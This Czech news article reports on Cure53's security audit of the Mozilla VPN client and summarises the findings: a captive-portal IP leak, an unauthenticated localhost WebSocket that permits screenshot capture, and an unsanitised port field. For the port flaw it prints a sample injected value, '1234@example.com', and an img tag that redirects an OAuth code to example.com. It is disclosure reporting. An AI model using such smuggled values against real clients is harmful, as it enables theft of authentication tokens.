Společnost Mozilla oznámila dokončení nezávislého auditu klientského softwaru pro připojení k službě Mozilla VPN. Během auditu byl analyzován samostatný klientský program napsaný pomocí knihovny Qt, dodávaný pro Linux, macOS, Windows, Android a iOS. Služba Mozilla VPN je zajišťována více než 400 servery švédského poskytovatele VPN Mullvad, umístěnými ve více než 30 zemích. Připojení k VPN-službě se provádí pomocí protokolu WireGuard.
Audit provedla společnost Cure53, která dříve prováděla audity projektů NTPsec, SecureDrop, Cryptocat, F-Droid a Dovecot. Audit se zaměřil na kontrolu zdrojových kódů a zahrnoval testy na odhalení možných zranitelností (otázky spojené s kryptografií nebyly zkoumány). Během kontroly bylo odhaleno 16 bezpečnostních problémů, z nichž 8 mělo charakter doporučení, 5 bylo klasifikováno jako nízké riziko, 2 jako střední a 1 jako vysoké.
Přitom pouze jeden problém se střední úrovní rizika byl zařazen mezi zranitelnosti, jelikož pouze ten byl vhodný k exploitaci. Tento problém vedl k úniku informací o používání VPN v kódu pro určení captive portálu z důvodu odesílání nešifrovaných přímých dotazů přes HTTP, které byly zasílány mimo VPN tunel a odhalovaly hlavní IP adresu uživatele, v případě že útočník mohl kontrolovat transitní provoz. Problém se řeší vypnutím režimu určení captive portálu v nastavení.
Druhý problém střední úrovně nebezpečnosti je spojen s absencí řádného čištění nežádoucích hodnot v čísle portu, což umožňuje uniknutí parametrů autentizace OAuth prostřednictvím nahrazení čísla portu řetězcem ve formátu „1234@example.com“, což povede k nastavení tagu <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, který se odkazuje na example.com místo 127.0.0.1.
Třetí problém, označený jako nebezpečný, umožňuje jakékoli místní aplikaci bez autentifikace přistupovat k VPN klientu přes WebSocket připojený k localhost. Jako příklad bylo ukázáno, jak při aktivním VPN klientu mohl jakýkoli web uspořádat vytvoření a odeslání screenshotu prostřednictvím generace události screen_capture. Tento problém nebyl zařazen mezi zranitelnosti, protože WebSocket byl používán pouze ve vnitřních testovacích sestavách a použití tohoto komunikačního kanálu bylo plánováno v budoucnu pro organizaci interakce s prohlížečovým doplňkem.
Zdroj: opennet.ru
